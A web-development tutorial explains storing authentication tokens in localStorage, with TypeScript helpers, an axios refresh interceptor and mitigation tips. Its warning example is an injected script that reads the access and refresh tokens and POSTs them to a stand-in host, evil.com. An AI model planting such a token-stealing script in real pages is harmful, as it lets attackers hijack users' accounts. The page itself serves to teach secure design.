Loading…
Loading…
Both tokens stored in localStorage. Simple but vulnerable to XSS attacks. Only use for prototypes or low-risk applications.
localStorage is accessible to any JavaScript running on your page. If an XSS vulnerability exists, attackers can steal your authentication tokens. This is why localStorage is not recommended for production applications.
// ❌ XSS VULNERABILITY EXAMPLE
// If an attacker injects this script:
<script>
// 1. Steal tokens from localStorage
const accessToken = localStorage.getItem('auth_access_token');
const refreshToken = localStorage.getItem('auth_refresh_token');
// 2. Send to attacker's server
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ accessToken, refreshToken })
});
// 3. Attacker now has your tokens!
// Can impersonate you for the token's lifetime
</script>
// This is why localStorage is NOT recommended for production!User submits credentials. Server returns both tokens in response body.
Access and refresh tokens stored in localStorage.
Access token added to Authorization header manually.
Refresh token sent in request body (not cookie) to get new access token.
// src/lib/token-storage.ts
const STORAGE_KEYS = {
ACCESS_TOKEN: 'auth_access_token',
REFRESH_TOKEN: 'auth_refresh_token',
};
export const localStorageStrategy = {
setTokens: (accessToken: string, refreshToken?: string) => {
localStorage.setItem(STORAGE_KEYS.ACCESS_TOKEN, accessToken);
if (refreshToken) {
localStorage.setItem(STORAGE_KEYS.REFRESH_TOKEN, refreshToken);
}
},
getAccessToken: () => localStorage.getItem(STORAGE_KEYS.ACCESS_TOKEN),
getRefreshToken: () => localStorage.getItem(STORAGE_KEYS.REFRESH_TOKEN),
clearTokens: () => {
localStorage.removeItem(STORAGE_KEYS.ACCESS_TOKEN);
localStorage.removeItem(STORAGE_KEYS.REFRESH_TOKEN);
},
};// src/lib/api-client.ts
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';
import { localStorageStrategy } from './token-storage';
export const apiClient = axios.create({
baseURL: process.env.NEXT_PUBLIC_API_URL || 'http://localhost:3001',
headers: { 'Content-Type': 'application/json' },
// ⚠️ Do NOT use withCredentials for localStorage strategy
// Cookies are not used
});
// Request interceptor: Add access token from localStorage
apiClient.interceptors.request.use(
(config) => {
const token = localStorageStrategy.getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
},
(error) => Promise.reject(error)
);
// Response interceptor: Auto-refresh on 401
let isRefreshing = false;
let failedQueue: Array<{
resolve: (token: string) => void;
reject: (error: any) => void;
}> = [];
const processQueue = (error: any, token: string | null) => {
failedQueue.forEach((prom) => {
error ? prom.reject(error) : prom.resolve(token!);
});
failedQueue = [];
};
apiClient.interceptors.response.use(
(response) => response,
async (error: AxiosError) => {
const originalRequest = error.config as InternalAxiosRequestConfig & { _retry?: string };
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
return new Promise((resolve, reject) => {
failedQueue.push({ resolve, reject });
}).then((token) => {
originalRequest.headers.Authorization = `Bearer ${token}`;
return apiClient(originalRequest);
});
}
originalRequest._retry = 'true';
isRefreshing = true;
try {
// Get refresh token from localStorage
const refreshToken = localStorageStrategy.getRefreshToken();
if (!refreshToken) {
throw new Error('No refresh token');
}
// Send refresh token in body (not cookie!)
const res = await axios.post(
`${process.env.NEXT_PUBLIC_API_URL}/auth/refresh`,
{ refreshToken }
);
const { accessToken, refreshToken: newRefreshToken } = res.data;
// Store new tokens in localStorage
localStorageStrategy.setTokens(accessToken, newRefreshToken);
processQueue(null, accessToken);
originalRequest.headers.Authorization = `Bearer ${accessToken}`;
return apiClient(originalRequest);
} catch (refreshError) {
processQueue(refreshError, null);
localStorageStrategy.clearTokens();
window.location.href = '/auth/login';
return Promise.reject(refreshError);
} finally {
isRefreshing = false;
}
}
return Promise.reject(error);
}
);// src/api/auth/auth.api.ts
import { apiClient } from '@/lib/api-client';
import { localStorageStrategy } from '@/lib/token-storage';
export const authApi = {
login: async (email: string, password: string) => {
const res = await apiClient.post('/auth/login', { email, password });
const { user, accessToken, refreshToken } = res.data;
// ⚠️ Store both tokens in localStorage
localStorageStrategy.setTokens(accessToken, refreshToken);
return { user };
},
register: async (name: string, email: string, password: string) => {
const res = await apiClient.post('/auth/register', { name, email, password });
const { user, accessToken, refreshToken } = res.data;
localStorageStrategy.setTokens(accessToken, refreshToken);
return { user };
},
logout: async () => {
try {
await apiClient.post('/auth/logout');
} finally {
// ⚠️ Clear tokens from localStorage
localStorageStrategy.clearTokens();
}
},
getMe: async () => {
const res = await apiClient.get('/auth/me');
return res.data;
},
};// If you MUST use localStorage, here are mitigations:
// 1. Short token lifetime
const accessToken = jwt.sign(payload, secret, { expiresIn: '5m' }); // Very short!
// 2. Rotate refresh tokens
// On each refresh, issue a new refresh token and invalidate the old one
// 3. Detect token theft
// Store a token fingerprint (hash of user agent + IP)
// If fingerprint doesn't match, revoke the token
// 4. Use CSP headers
// Content-Security-Policy: default-src 'self'; script-src 'self'
// This limits what scripts can run on your page
// 5. Sanitize all user input
// Prevent XSS by sanitizing any user-generated content
// BUT: These are mitigations, not solutions.
// The only true solution is NOT using localStorage for tokens.